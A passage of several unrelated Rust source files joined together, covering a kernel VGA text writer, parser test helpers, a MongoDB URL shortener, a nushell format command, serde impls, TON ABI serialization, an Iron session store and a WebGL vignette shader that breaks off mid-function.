// namespacing use core::fmt; use lazy_static::lazy_static; use spin::Mutex; use volatile::Volatile; // color byte #[allow(dead_code)] #[derive(Debug, Clone, Copy, PartialEq, Eq)] #[repr(u8)] pub enum Color { Black = 0, Blue = 1, Green = 2, Cyan = 3, Red = 4, Magenta = 5, Brown = 6, LightGrey = 7, DarkGrey = 8, LightBlue = 9, LightGreen = 10, LightCyan = 11, LightRed = 12, Pink = 13, Yellow = 14, White = 15, } // color pair #[derive(Debug, Clone, Copy, PartialEq, Eq)] struct ColorPair(u8); impl ColorPair { // create a new color pair from colors fn new(foreground: Color, background: Color) -> Self { ColorPair((background as u8) << 4 | (foreground as u8)) } } // character and color to be displayed #[derive(Debug, Clone, Copy, PartialEq, Eq)] #[repr(C)] struct VgaChar { ascii_char: u8, color_pair: ColorPair, } // vga buffer dimensions const BUFFER_HEIGHT: usize = 25; const BUFFER_WIDTH: usize = 80; // vga buffer #[repr(transparent)] struct Buffer { chars: [[Volatile<VgaChar>; BUFFER_WIDTH]; BUFFER_HEIGHT], } // writer struct pub struct Writer { column: usize, color_pair: ColorPair, buffer: &'static mut Buffer, } impl Writer { /// write a byte to the screen pub fn write_byte(&mut self, byte: u8) { match byte { b'\n' => self.new_line(), byte => { if self.column >= BUFFER_WIDTH { self.new_line(); } let row = BUFFER_HEIGHT - 1; let col = self.column; let color_pair = self.color_pair; self.buffer.chars[row][col].write(VgaChar { ascii_char: byte, color_pair }); self.column += 1; } } } /// write a string to the screen pub fn write_string(&mut self, s: &str) { s.bytes().for_each(|byte| match byte { 0x20..=0x7e | b'\n' => self.write_byte(byte), _ => self.write_byte(0xfe), }); } // create a new line fn new_line(&mut self) { (1..BUFFER_HEIGHT).for_each(|row| { (0..BUFFER_WIDTH).for_each(|col| { let character = self.buffer.chars[row][col].read(); self.buffer.chars[row - 1][col].write(character); }); }); self.clear_row(BUFFER_HEIGHT - 1); self.column = 0; } // clear a row fn clear_row(&mut self, row: usize) { let blank = VgaChar { ascii_char: b' ', color_pair: self.color_pair }; (0..BUFFER_WIDTH).for_each(|col| self.buffer.chars[row][col].write(blank)); } } impl fmt::Write for Writer { fn write_str(&mut self, s: &str) -> fmt::Result { self.write_string(s); Ok(()) } } lazy_static! { pub static ref WRITER: Mutex<Writer> = Mutex::new(Writer { column: 0, color_pair: ColorPair::new(Color::Pink, Color::Black), buffer: unsafe { &mut *(0xb8000 as *mut Buffer) }, }); } #[doc(hidden)] pub fn _print(args: fmt::Arguments) { use core::fmt::Write; use x86_64::instructions::interrupts; interrupts::without_interrupts(|| { WRITER.lock().write_fmt(args).unwrap(); }); } #[macro_export] macro_rules! print { ($($arg:tt)*) => ($crate::vga::_print(format_args!($($arg)*))); } #[macro_export] macro_rules! println { () => (print!("\n")); ($($arg:tt)*) => (print!("{}\n", format_args!($($arg)*))); } #[cfg(test)] use crate::{sprint, sprintln}; #[test_case] fn test_println_simple() { sprint!("test_println_simple... "); println!("test_println_simple output"); sprintln!("[Ok!]"); } #[test_case] fn test_println_many() { sprint!("test_println_many... "); (0..200).for_each(|_| println!("test_println_many output")); sprintln!("[Ok!]"); }
use core::cell::Cell; use core::ops::Range; use quickcheck::{Arbitrary, Gen}; use crate::parser::Parser; use crate::span::Span; pub use TestExpr::*; #[derive(Clone, Debug, PartialEq)] pub struct TestValue; #[derive(Clone, Debug, PartialEq)] pub struct TestError; #[derive(Clone, Debug)] pub struct TestConfig { start: usize, end: usize, calls: Cell<usize>, } impl TestConfig { fn new(range: Range<usize>) -> Self { TestConfig { start: range.start, end: range.end, calls: Cell::new(0), } } pub fn range(&self) -> Range<usize> { self.start..self.end } pub fn calls(&self) -> usize { self.calls.get() } } impl Arbitrary for TestConfig { fn arbitrary<G: Gen>(g: &mut G) -> Self { TestConfig::new(Range::arbitrary(g)) } } #[derive(Clone, Debug)] pub enum TestExpr { ParseMatch(TestConfig, u8), ParseError(TestConfig), } impl TestExpr { pub fn ok(range: Range<usize>) -> Self { ParseMatch(TestConfig::new(range), 0) } pub fn ok_iters(range: Range<usize>, max_calls: u8) -> Self { ParseMatch(TestConfig::new(range), max_calls) } pub fn err(range: Range<usize>) -> Self { ParseError(TestConfig::new(range)) } pub fn is_ok(&self) -> bool { match self { ParseMatch(_, _) => true, ParseError(_) => false, } } pub fn config(&self) -> &TestConfig { match self { ParseMatch(config, _) => config, ParseError(config) => config, } } } impl Parser for TestExpr { type Value = TestValue; type Error = TestError; fn parse(&self, _input: &'_ str) -> Result<Span<Self::Value>, Span<Self::Error>> { self.config().calls.set(self.config().calls() + 1); match self { ParseMatch(config, max_calls) => { if *max_calls == 0 || config.calls() <= *max_calls as usize { Ok(Span::new(config.range(), TestValue)) } else { Err(Span::new(0..0, TestError)) } } ParseError(config) => Err(Span::new(config.range(), TestError)), } } } impl Arbitrary for TestExpr { fn arbitrary<G: Gen>(g: &mut G) -> TestExpr { if bool::arbitrary(g) { ParseMatch(TestConfig::arbitrary(g), 0) } else { ParseError(TestConfig::arbitrary(g)) } } } mod tests { use quickcheck_macros::quickcheck; use super::*; use crate::span::Span; #[test] fn test_match() { assert_eq!( TestExpr::ok(16..43).parse("arbitrary"), Ok(Span::new(16..43, TestValue)) ); } #[test] fn test_match_limit() { let expr = TestExpr::ok_iters(32..53, u8::max_value() - 2); while expr.parse("arbitrary").is_ok() {} assert_eq!(expr.config().calls(), u8::max_value() as usize - 1); assert_eq!(expr.parse("arbitrary"), Err(Span::new(0..0, TestError))); } #[test] fn test_error() { assert_eq!( TestExpr::err(12..31).parse("arbitrary"), Err(Span::new(12..31, TestError)) ); } #[quickcheck] fn parse(expr: TestExpr, input: String) { let result = expr.parse(&input); assert_eq!( result, match expr { ParseMatch(config, _) => Ok(Span::new(config.range(), TestValue)), ParseError(config) => Err(Span::new(config.range(), TestError)), } ); } #[quickcheck] fn parse_iters(range: Range<usize>, iters: u8, input: String) { let expr = TestExpr::ok_iters(range, iters); for _ in 0..iters { assert_eq!( expr.parse(&input), Ok(Span::new(expr.config().range(), TestValue)) ); } assert_eq!(expr.config().calls(), iters as usize); assert_eq!( expr.parse(&input), if iters == 0 { Ok(Span::new(expr.config().range(), TestValue)) } else { Err(Span::new(0..0, TestError)) } ); } #[quickcheck] fn is_ok(expr: TestExpr) { assert_eq!( expr.is_ok(), match expr { ParseMatch(_, _) => true, ParseError(_) => false, } ); } }
// use mongodb::{bson::doc, sync::{Client, Collection}}; use mongodb::{Client, Collection, Database, bson::doc}; use serde::{Deserialize, Serialize}; #[derive(Debug, Serialize, Deserialize)] struct ShortUrl { index: i64, url: String, } #[derive(Debug, Serialize, Deserialize)] struct Status { last_index: i64, } pub struct MongoService { client: Client, } impl MongoService { pub async fn new(mongo_uri: &str) -> Self { let client = Client::with_uri_str(mongo_uri).await.unwrap(); MongoService { client, } } fn get_database(&self) -> Database { self.client.database("urls") } async fn get_next_index(&self) -> i64 { let status_collection = self.get_database().collection_with_type::<Status>("status"); let next_index = status_collection.find_one_and_update(doc!{}, doc!{"$inc": { "last_index": 1 }}, None).await.unwrap(); if let Some(status) = next_index { status.last_index } else { 0 } } pub async fn add_url(&self, url: &str) -> i64 { let url_collection = self.get_database().collection_with_type::<ShortUrl>("urls"); let index = self.get_next_index().await; url_collection.insert_one(ShortUrl { index, url: url.to_string(), }, None).await.unwrap(); index } pub async fn lookup_url(&self, index: i64) -> Option<String> { let url_collection = self.get_database().collection_with_type::<ShortUrl>("urls"); let url = url_collection.find_one(doc! {"index": index}, None).await.unwrap(); url.map(|u| u.url) } }
use nu_engine::CallExt; use nu_protocol::ast::{Call, PathMember}; use nu_protocol::engine::{Command, EngineState, Stack}; use nu_protocol::{ Category, Config, Example, ListStream, PipelineData, ShellError, Signature, Span, SyntaxShape, Value, }; #[derive(Clone)] pub struct Format; impl Command for Format { fn name(&self) -> &str { "format" } fn signature(&self) -> Signature { Signature::build("format") .required( "pattern", SyntaxShape::String, "the pattern to output. e.g.) \"{foo}: {bar}\"", ) .category(Category::Strings) } fn usage(&self) -> &str { "Format columns into a string using a simple pattern." } fn run( &self, engine_state: &EngineState, stack: &mut Stack, call: &Call, input: PipelineData, ) -> Result<PipelineData, ShellError> { let config = stack.get_config()?; let specified_pattern: Result<Value, ShellError> = call.req(engine_state, stack, 0); match specified_pattern { Err(e) => Err(e), Ok(pattern) => { let string_pattern = pattern.as_string()?; let ops = extract_formatting_operations(string_pattern); format(input, &ops, call.head, &config) } } } fn examples(&self) -> Vec<Example> { vec![ Example { description: "Print filenames with their sizes", example: "ls | format '{name}: {size}'", result: None, }, Example { description: "Print elements from some columns of a table", example: "echo [[col1, col2]; [v1, v2] [v3, v4]] | format '{col2}'", result: Some(Value::List { vals: vec![Value::test_string("v2"), Value::test_string("v4")], span: Span::test_data(), }), }, ] } } #[derive(Debug)] enum FormatOperation { FixedText(String), ValueFromColumn(String), } /// Given a pattern that is fed into the Format command, we can process it and subdivide it /// in two kind of operations. /// FormatOperation::FixedText contains a portion of the pattern that has to be placed /// there without any further processing. /// FormatOperation::ValueFromColumn contains the name of a column whose values will be /// formatted according to the input pattern. fn extract_formatting_operations(input: String) -> Vec<FormatOperation> { let mut output = vec![]; let mut characters = input.chars(); 'outer: loop { let mut before_bracket = String::new(); for ch in &mut characters { if ch == '{' { break; } before_bracket.push(ch); } if !before_bracket.is_empty() { output.push(FormatOperation::FixedText(before_bracket.to_string())); } let mut column_name = String::new(); for ch in &mut characters { if ch == '}' { break; } column_name.push(ch); } if !column_name.is_empty() { output.push(FormatOperation::ValueFromColumn(column_name.clone())); } if before_bracket.is_empty() && column_name.is_empty() { break 'outer; } } output } /// Format the incoming PipelineData according to the pattern fn format( input_data: PipelineData, format_operations: &[FormatOperation], span: Span, config: &Config, ) -> Result<PipelineData, ShellError> { let data_as_value = input_data.into_value(span); // We can only handle a Record or a List of Records match data_as_value { Value::Record { .. } => { match format_record(format_operations, &data_as_value, span, config) { Ok(value) => Ok(PipelineData::Value(Value::string(value, span), None)), Err(value) => Err(value), } } Value::List { vals, .. } => { let mut list = vec![]; for val in vals.iter() { match val { Value::Record { .. } => { match format_record(format_operations, val, span, config) { Ok(value) => { list.push(Value::string(value, span)); } Err(value) => { return Err(value); } } } _ => { return Err(ShellError::UnsupportedInput( "Input data is not supported by this command.".to_string(), span, )) } } } Ok(PipelineData::ListStream( ListStream::from_stream(list.into_iter(), None), None, )) } _ => Err(ShellError::UnsupportedInput( "Input data is not supported by this command.".to_string(), span, )), } } fn format_record( format_operations: &[FormatOperation], data_as_value: &Value, span: Span, config: &Config, ) -> Result<String, ShellError> { let mut output = String::new(); for op in format_operations { match op { FormatOperation::FixedText(s) => output.push_str(s.as_str()), // The referenced code suggests to use the correct Spans // See: https://github.com/nushell/nushell/blob/c4af5df828135159633d4bc3070ce800518a42a2/crates/nu-command/src/commands/strings/format/command.rs#L61 FormatOperation::ValueFromColumn(col_name) => { match data_as_value .clone() .follow_cell_path(&[PathMember::String { val: col_name.clone(), span, }]) { Ok(value_at_column) => { output.push_str(value_at_column.into_string(", ", config).as_str()) } Err(se) => return Err(se), } } } } Ok(output) } #[cfg(test)] mod test { #[test] fn test_examples() { use super::Format; use crate::test_examples; test_examples(Format {}) } }
//! An optional implementation of serialization/deserialization. use super::LinkedHashSet; use serde::de::{Error, SeqAccess, Visitor}; use serde::ser::SerializeSeq; use serde::{Deserialize, Deserializer, Serialize, Serializer}; use std::fmt::{Formatter, Result as FmtResult}; use std::hash::{BuildHasher, Hash}; use std::marker::PhantomData; impl<K, S> Serialize for LinkedHashSet<K, S> where K: Serialize + Eq + Hash, S: BuildHasher, { #[inline] fn serialize<T>(&self, serializer: T) -> Result<T::Ok, T::Error> where T: Serializer, { let mut seq = serializer.serialize_seq(Some(self.len()))?; for el in self { seq.serialize_element(el)?; } seq.end() } } #[derive(Debug)] pub struct LinkedHashSetVisitor<K> { marker: PhantomData<fn() -> LinkedHashSet<K>>, } impl<K> Default for LinkedHashSetVisitor<K> { fn default() -> Self { LinkedHashSetVisitor { marker: PhantomData, } } } impl<'de, K> Visitor<'de> for LinkedHashSetVisitor<K> where K: Deserialize<'de> + Eq + Hash, { type Value = LinkedHashSet<K>; fn expecting(&self, formatter: &mut Formatter) -> FmtResult { write!(formatter, "a set") } #[inline] fn visit_unit<E>(self) -> Result<Self::Value, E> where E: Error, { Ok(LinkedHashSet::new()) } #[inline] fn visit_seq<A>(self, mut seq: A) -> Result<Self::Value, A::Error> where A: SeqAccess<'de>, { let mut values = LinkedHashSet::with_capacity(seq.size_hint().unwrap_or(0)); while let Some(element) = seq.next_element()? { values.insert(element); } Ok(values) } } impl<'de, K> Deserialize<'de> for LinkedHashSet<K> where K: Deserialize<'de> + Eq + Hash, { fn deserialize<D>(deserializer: D) -> Result<LinkedHashSet<K>, D::Error> where D: Deserializer<'de>, { deserializer.deserialize_seq(LinkedHashSetVisitor::default()) } } #[cfg(test)] #[cfg(feature = "serde")] mod test { extern crate serde_test; use self::serde_test::{assert_tokens, Token}; use super::*; #[test] fn serde_empty() { let set = LinkedHashSet::<char>::new(); assert_tokens(&set, &[Token::Seq { len: Some(0) }, Token::SeqEnd]); } #[test] fn serde_non_empty() { let mut set = LinkedHashSet::new(); set.insert('b'); set.insert('a'); set.insert('c'); assert_tokens( &set, &[ Token::Seq { len: Some(3) }, Token::Char('b'), Token::Char('a'), Token::Char('c'), Token::SeqEnd, ], ); } }
/* * Copyright (C) 2019-2022 TON Labs. All Rights Reserved. * * Licensed under the SOFTWARE EVALUATION License (the "License"); you may not use * this file except in compliance with the License. * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific TON DEV software governing permissions and * limitations under the License. */ use crate::{contract::{ABI_VERSION_1_0, ABI_VERSION_2_2, AbiVersion}, error::AbiError, int::{Int, Uint}, param_type::ParamType, token::{Token, Tokenizer, TokenValue}}; use num_bigint::{BigInt, BigUint, Sign}; use std::collections::BTreeMap; use ton_block::Serializable; use ton_types::{BuilderData, Cell, SliceData, error, fail, HashmapE, IBitstring, Result}; pub struct SerializedValue { pub data: BuilderData, pub max_bits: usize, pub max_refs: usize, } impl From<BuilderData> for SerializedValue { fn from(data: BuilderData) -> Self { SerializedValue { max_bits: data.bits_used(), max_refs: data.references_used(), data, } } } impl TokenValue { pub fn pack_values_into_chain(tokens: &[Token], mut cells: Vec<SerializedValue>, abi_version: &AbiVersion) -> Result<BuilderData> { for token in tokens { cells.append(&mut token.value.write_to_cells(abi_version)?); } Self::pack_cells_into_chain(cells, abi_version) } pub fn pack_into_chain(&self, abi_version: &AbiVersion) -> Result<BuilderData> { Self::pack_cells_into_chain(self.write_to_cells(abi_version)?, abi_version) } // first cell is resulting builder // every next cell: put data to root fn pack_cells_into_chain(mut values: Vec<SerializedValue>, abi_version: &AbiVersion) -> Result<BuilderData> { values.reverse(); let mut packed_cells = match values.pop() { Some(cell) => vec![cell], None => fail!(AbiError::InvalidData { msg: "No cells".to_owned() } ) }; while let Some(value) = values.pop() { let builder = packed_cells.last_mut().unwrap(); let (remaining_bits, remaining_refs) = if abi_version >= &ABI_VERSION_2_2 { (BuilderData::bits_capacity() - builder.max_bits, BuilderData::references_capacity() - builder.max_refs) } else { (builder.data.bits_free(), builder.data.references_free()) }; let (value_bits, value_refs) = if abi_version >= &ABI_VERSION_2_2 { (value.max_bits, value.max_refs) } else { (value.data.bits_used(), value.data.references_used()) }; if remaining_bits < value_bits || remaining_refs < value_refs { // if not enough bits or refs - continue chain packed_cells.push(value); } else if value_refs > 0 && remaining_refs == value_refs { // if refs strictly fit into cell we should decide if we can put them into current // cell or to the next cell: if all remaining values can fit into current cell, // then use current, if not - continue chain let (refs, bits) = Self::get_remaining(&values, abi_version); // in ABI v1 last ref is always used for chaining if abi_version != &ABI_VERSION_1_0 && (refs == 0 && bits + value_bits <= remaining_bits) { builder.data.append_builder(&value.data)?; builder.max_bits += value.max_bits; builder.max_refs += value.max_refs; } else { packed_cells.push(value); } } else { builder.data.append_builder(&value.data)?; builder.max_bits += value.max_bits; builder.max_refs += value.max_refs; } } Ok(packed_cells.into_iter().rev().reduce( |acc, mut cur| { cur.data.checked_append_reference(acc.data.into_cell().unwrap()).unwrap(); cur }) .unwrap() .data ) } fn get_remaining(values: &[SerializedValue], abi_version: &AbiVersion) -> (usize, usize) { values.iter().fold((0, 0), |(refs, bits), value| { if abi_version >= &ABI_VERSION_2_2 { (refs + value.max_refs, bits + value.max_bits) } else { (refs + value.data.references_used(), bits + value.data.bits_used()) } }) } pub fn write_to_cells(&self, abi_version: &AbiVersion) -> Result<Vec<SerializedValue>> { let data = match self { TokenValue::Uint(uint) => Self::write_uint(uint), TokenValue::Int(int) => Self::write_int(int), TokenValue::VarUint(size, uint) => Self::write_varuint(uint, *size), TokenValue::VarInt(size, int) => Self::write_varint(int, *size), TokenValue::Bool(b) => Self::write_bool(b), TokenValue::Tuple(ref tokens) => { let mut vec = vec![]; for token in tokens.iter() { vec.append(&mut token.value.write_to_cells(abi_version)?); } return Ok(vec); } TokenValue::Array(param_type, ref tokens) => Self::write_array(param_type, tokens, abi_version), TokenValue::FixedArray(param_type, ref tokens) => Self::write_fixed_array(param_type, tokens, abi_version), TokenValue::Cell(cell) => Self::write_cell(cell), TokenValue::Map(key_type, value_type, value) => Self::write_map(key_type, value_type, value, abi_version), TokenValue::Address(address) => Ok(address.write_to_new_cell()?), TokenValue::Bytes(ref arr) | TokenValue::FixedBytes(ref arr) => Self::write_bytes(arr, abi_version), TokenValue::String(ref string) => Self::write_bytes(string.as_bytes(), abi_version), TokenValue::Token(gram) => Ok(gram.write_to_new_cell()?), TokenValue::Time(time) => Ok(time.write_to_new_cell()?), TokenValue::Expire(expire) => Ok(expire.write_to_new_cell()?), TokenValue::PublicKey(key) => Self::write_public_key(key), TokenValue::Optional(param_type, value) => Self::write_optional(param_type, value.as_ref().map(|val| val.as_ref()), abi_version), TokenValue::Ref(value) => Self::write_ref(value, abi_version), }?; let param_type = self.get_param_type(); Ok(vec![SerializedValue { data, max_bits: param_type.max_bit_size(), max_refs: param_type.max_refs_count(), }]) } fn write_int(value: &Int) -> Result<BuilderData> { let vec = value.number.to_signed_bytes_be(); let vec_bits_length = vec.len() * 8; let mut builder = BuilderData::new(); if value.size > vec_bits_length { let padding = if value.number.sign() == num_bigint::Sign::Minus { 0xFFu8 } else { 0u8 }; let dif = value.size - vec_bits_length; let mut vec_padding = Vec::new(); vec_padding.resize(dif / 8 + 1, padding); builder.append_raw(&vec_padding, dif)?; builder.append_raw(&vec, value.size - dif)?; } else { let offset = vec_bits_length - value.size; let first_byte = vec[offset / 8] << offset % 8; builder.append_raw(&[first_byte], 8 - offset % 8)?; builder.append_raw(&vec[offset / 8 + 1..], vec[offset / 8 + 1..].len() * 8)?; }; Ok(builder) } fn write_uint(value: &Uint) -> Result<BuilderData> { let int = Int{ number: BigInt::from_biguint(Sign::Plus, value.number.clone()), size: value.size}; Self::write_int(&int) } fn write_varint(value: &BigInt, size: usize) -> Result<BuilderData> { let vec = value.to_signed_bytes_be(); if vec.len() > size - 1 { fail!(AbiError::InvalidData { msg: format!("Too long value for varint{}: {}", size, value) }); } let mut builder = BuilderData::new(); let bits = ParamType::varint_size_len(size); builder.append_bits(vec.len(), bits as usize)?; builder.append_raw(&vec, vec.len() * 8)?; Ok(builder) } fn write_varuint(value: &BigUint, size: usize) -> Result<BuilderData> { let big_int = BigInt::from_biguint(Sign::Plus, value.clone()); Self::write_varint(&big_int, size) } fn write_bool(value: &bool) -> Result<BuilderData> { let mut builder = BuilderData::new(); builder.append_bit_bool(value.clone())?; Ok(builder) } fn write_cell(cell: &Cell) -> Result<BuilderData> { let mut builder = BuilderData::new(); builder.checked_append_reference(cell.clone())?; Ok(builder) } // creates dictionary with indexes of an array items as keys and items as values // and prepends dictionary to cell fn put_array_into_dictionary(param_type: &ParamType, array: &[TokenValue], abi_version: &AbiVersion) -> Result<HashmapE> { let mut map = HashmapE::with_bit_len(32); let value_in_ref = Self::map_value_in_ref(32, param_type.max_bit_size()); for i in 0..array.len() { let index = SliceData::load_builder((i as u32).write_to_new_cell()?)?; let data = Self::pack_cells_into_chain(array[i].write_to_cells(abi_version)?, abi_version)?; if value_in_ref { map.set_builder(index, &data)?; } else { map.setref(index, &data.into_cell()?)?; } } Ok(map) } fn write_array(param_type: &ParamType, value: &Vec<TokenValue>, abi_version: &AbiVersion) -> Result<BuilderData> { let map = Self::put_array_into_dictionary(param_type, value, abi_version)?; let mut builder = BuilderData::new(); builder.append_u32(value.len() as u32)?; map.write_to(&mut builder)?; Ok(builder) } fn write_fixed_array(param_type: &ParamType, value: &Vec<TokenValue>, abi_version: &AbiVersion) -> Result<BuilderData> { let map = Self::put_array_into_dictionary(param_type, value, abi_version)?; Ok(map.write_to_new_cell()?) } fn write_bytes(data: &[u8], abi_version: &AbiVersion) -> Result<BuilderData> { let cell_len = BuilderData::bits_capacity() / 8; let mut len = data.len(); let mut cell_capacity = if abi_version == &ABI_VERSION_1_0 { std::cmp::min(cell_len, len) } else { match len % cell_len { 0 => cell_len, x => x } }; let mut builder = BuilderData::new(); while len > 0 { len -= cell_capacity; builder.append_raw(&data[len..len + cell_capacity], cell_capacity * 8)?; let mut new_builder = BuilderData::new(); new_builder.checked_append_reference(builder.into_cell()?)?; builder = new_builder; cell_capacity = std::cmp::min(cell_len, len); } // if bytes are empty then we need builder with ref to empty cell if builder.references_used() == 0 { builder.checked_append_reference(Cell::default())?; } Ok(builder) } fn map_value_in_ref(key_len: usize, value_len: usize) -> bool { super::MAX_HASH_MAP_INFO_ABOUT_KEY + key_len + value_len <= 1023 } fn write_map(key_type: &ParamType, value_type: &ParamType, value: &BTreeMap<String, TokenValue>, abi_version: &AbiVersion) -> Result<BuilderData> { let key_len = key_type.get_map_key_size()?; let value_len = value_type.max_bit_size(); let value_in_ref = Self::map_value_in_ref(key_len, value_len); let mut hashmap = HashmapE::with_bit_len(key_len); for (key, value) in value.iter() { let key = Tokenizer::tokenize_parameter(key_type, &key.as_str().into(), "map key")?; let mut key_vec = key.write_to_cells(abi_version)?; if key_vec.len() != 1 { fail!(AbiError::InvalidData { msg: "Map key must be 1-cell length".to_owned() } ) }; if &ParamType::Address == key_type && key_vec[0].data.length_in_bits() != super::STD_ADDRESS_BIT_LENGTH { fail!(AbiError::InvalidData { msg: "Only std non-anycast address can be used as map key".to_owned() } ) } let data = Self::pack_cells_into_chain(value.write_to_cells(abi_version)?, abi_version)?; let slice_key = SliceData::load_builder(key_vec.pop().unwrap().data)?; if value_in_ref { hashmap.set_builder(slice_key, &data)?; } else { hashmap.setref(slice_key, &data.into_cell()?)?; } } let mut builder = BuilderData::new(); hashmap.write_to(&mut builder)?; Ok(builder) } fn write_public_key(data: &Option<ed25519_dalek::PublicKey>) -> Result<BuilderData> { let mut builder = BuilderData::new(); if let Some(key) = data { builder.append_bit_one()?; let bytes = &key.to_bytes()[..]; let length = bytes.len() * 8; builder.append_raw(bytes, length)?; } else { builder.append_bit_zero()?; } Ok(builder) } fn write_optional(param_type: &ParamType, value: Option<&TokenValue>, abi_version: &AbiVersion) -> Result<BuilderData> { if let Some(value) = value { if param_type.is_large_optional() { let value = value.pack_into_chain(abi_version)?; let mut builder = BuilderData::new(); builder.append_bit_one()?; builder.checked_append_reference(value.into_cell()?)?; Ok(builder) } else { let mut builder = value.pack_into_chain(abi_version)?; builder.prepend_raw(&[0x80], 1)?; Ok(builder) } } else { Ok(BuilderData::with_raw(vec![0x00], 1)?) } } fn write_ref(value: &TokenValue, abi_version: &AbiVersion) -> Result<BuilderData> { let value = value.pack_into_chain(abi_version)?; let mut builder = BuilderData::new(); builder.checked_append_reference(value.into_cell()?)?; Ok(builder) } } #[test] fn test_pack_cells() { let cells = vec![ BuilderData::with_bitstring(vec![1, 2, 0x80]).unwrap().into(), BuilderData::with_bitstring(vec![3, 4, 0x80]).unwrap().into(), ]; let builder = BuilderData::with_bitstring(vec![1, 2, 3, 4, 0x80]).unwrap(); assert_eq!(TokenValue::pack_cells_into_chain(cells, &ABI_VERSION_1_0).unwrap(), builder); let cells = vec![ BuilderData::with_raw(vec![0x55; 100], 100 * 8).unwrap().into(), BuilderData::with_raw(vec![0x55; 127], 127 * 8).unwrap().into(), BuilderData::with_raw(vec![0x55; 127], 127 * 8).unwrap().into(), ]; let builder = BuilderData::with_raw(vec![0x55; 127], 127 * 8).unwrap(); let builder = BuilderData::with_raw_and_refs(vec![0x55; 127], 127 * 8, vec![builder.into_cell().unwrap()]).unwrap(); let builder = BuilderData::with_raw_and_refs(vec![0x55; 100], 100 * 8, vec![builder.into_cell().unwrap()]).unwrap(); let tree = TokenValue::pack_cells_into_chain(cells, &ABI_VERSION_1_0).unwrap(); assert_eq!(tree, builder); }
use hyper::header::{Headers, Cookie,SetCookie}; use cookie::Cookie as CookieObj; use std::collections::HashMap; use std::marker::{Sync,Send}; use iron::prelude::*; use iron::{status,AfterMiddleware}; use iron::modifiers::Header; use iron::typemap::{TypeMap, Key}; use persist::State as PersistState; use std::fmt; use uuid::Uuid; pub struct Session{ pub data: TypeMap, expire: u32 } pub struct CheckSession; pub struct SessionContext(pub HashMap<String,Session>); impl Key for SessionContext { type Value = SessionContext; } impl fmt::Debug for Session{ fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { write!(f,"expire:{}",self.expire) } } unsafe impl Sync for SessionContext { // add code here } unsafe impl Send for SessionContext { // add code here } impl SessionContext { pub fn get_session(&mut self,req:& Request) -> Option<&Session> { let cookie = req.headers.get::<Cookie>(); match cookie { Some(ref value) => { let Cookie(ref ckvec) = **value; let cookie_vec = ckvec.iter() .filter(|item: &&CookieObj| item.name == "sessionid".to_owned()) .take(1) .collect::<Vec<&CookieObj>>(); let cookie_obj = cookie_vec[0]; let cookie_value = cookie_obj.value.clone(); //let SessionContext(data) = *self; { if let Some(ref mut session) = self.0.get_mut(&cookie_value) { session.expire = 5u32; } } self.0.get(&cookie_value) } None => None } } pub fn get_mut_session(&mut self,req:&mut Request) -> Option<&mut Session> { let cookie = req.headers.get::<Cookie>(); match cookie { Some(ref value) => { let Cookie(ref ckvec) = **value; let cookie_vec = ckvec.iter() .filter(|item: &&CookieObj| item.name == "sessionid".to_owned()) .take(1) .collect::<Vec<&CookieObj>>(); let cookie_obj = cookie_vec[0]; let cookie_value = cookie_obj.value.clone(); //let SessionContext(data) = *self; let mut result = self.0.get_mut(&cookie_value); if let Some(ref mut session) = result { session.expire = 5u32; } result } None => None } } pub fn new_session(&mut self,res:&mut Response) -> &mut Session{ let uid = Uuid::new_v4().simple().to_string(); let mut cookie = CookieObj::new("sessionid".to_string(),uid.clone()); cookie.path = Some("/".to_owned()); res.set_mut(Header(SetCookie(vec![cookie]))); let session = Session { data:TypeMap::new(),expire:5u32 }; self.0.insert(uid.clone(),session); self.0.get_mut(&uid).unwrap() } pub fn check_session(&mut self) { let mut keys = Vec::new(); for (key,session) in self.0.iter_mut() { if session.expire <= 0u32 { keys.push(key.clone()); } else { session.expire -= 1u32; } } for key in keys { self.0.remove(&key); warn!("SessionContext remove session {}",&key); } warn!("SessionContext is {:?}",self.0); } } /* impl AfterMiddleware for CheckSession { fn after(&self, req: &mut Request, mut res: Response) -> IronResult<Response> { let sc1 = req.get::<PersistState<SessionContext>>().unwrap(); let mut has = false; { let sc = sc1.read().unwrap(); let session = sc.get_session(req); match session { Some(_) => { //println!("{:?}", s); has = true; } None => { has = false; //println!("none"); } } } if !has { let mut sc = sc1.write().unwrap(); sc.new_session(&mut res); } Ok(res) } } */
use crate::view::post_process_effect; use crate::view_models::PostProcessEffects; use crate::view::shader_utils; use web_sys::{WebGlProgram, WebGl2RenderingContext, WebGlTexture}; pub struct Vignette { effect_type: PostProcessEffects, running_time: f32, max_running_time: f32, } impl Vignette { pub fn new(running_time: f32, max_running_time: f32) -> Vignette { Vignette { effect_type: PostProcessEffects::VIGNETTE, running_time: running_time, max_running_time: max_running_time } } } impl post_process_effect::effect::Effect for Vignette { fn get_effect_type(&self) -> PostProcessEffects { self.effect_type } fn set_running_time(&mut self, running_time: f32) { self.running_time = running_time; } fn get_running_time(&self) -> f32 { self.running_time } fn set_max_running_time(&mut self, max_running_time: f32) { self.max_running_time = max_running_time; } fn get_max_running_time(&self) -> f32 { self.max_running_time } fn apply(&self, context: &WebGl2RenderingContext, render_texture: &WebGlTexture, program: &WebGlProgram) { context.use_program(Some(program)); context.enable(WebGl2RenderingContext::BLEND); context.blend_func(WebGl2RenderingContext::SRC_ALPHA, WebGl2RenderingContext::ONE_MINUS_SRC_ALPHA); context.bind_texture(WebGl2RenderingContext::TEXTURE_2D, Some(render_texture)); context.draw_arrays( WebGl2RenderingContext::TRIANGLES, 0, 6, ); } } pub fn get_shader(context: &WebGl2RenderingContext) -> Result<WebGlProgram, String> { let vert_shader = shader_utils::compile_shader( &context, WebGl2RenderingContext::VERTEX_SHADER, r#"#version 300 es out vec2 uv; void main() { int subIdx = gl_VertexID % 6; if(subIdx == 0) { gl_Position = vec4(1, -1, 0, 1); uv = vec2(1.0, 0.0); } else if(subIdx == 1) { gl_Position = vec4(1, 1, 0, 1); uv = vec2(1.0, 1.0); } else if(subIdx == 2) { gl_Position = vec4(-1, 1, 0, 1); uv = vec2(0.0, 1.0); } else if(subIdx == 3) { gl_Position = vec4(1, -1, 0, 1); uv = vec2(1.0, 0.0); } else if(subIdx == 4) { gl_Position = vec4(-1, 1, 0, 1); uv = vec2(0.0, 1.0); } else// if(subIdx == 5) { gl_Position = vec4(-1, -1, 0, 1); uv = vec2(0.0, 0.0); } } "#, )?; let frag_shader = shader_utils::compile_shader( &context, 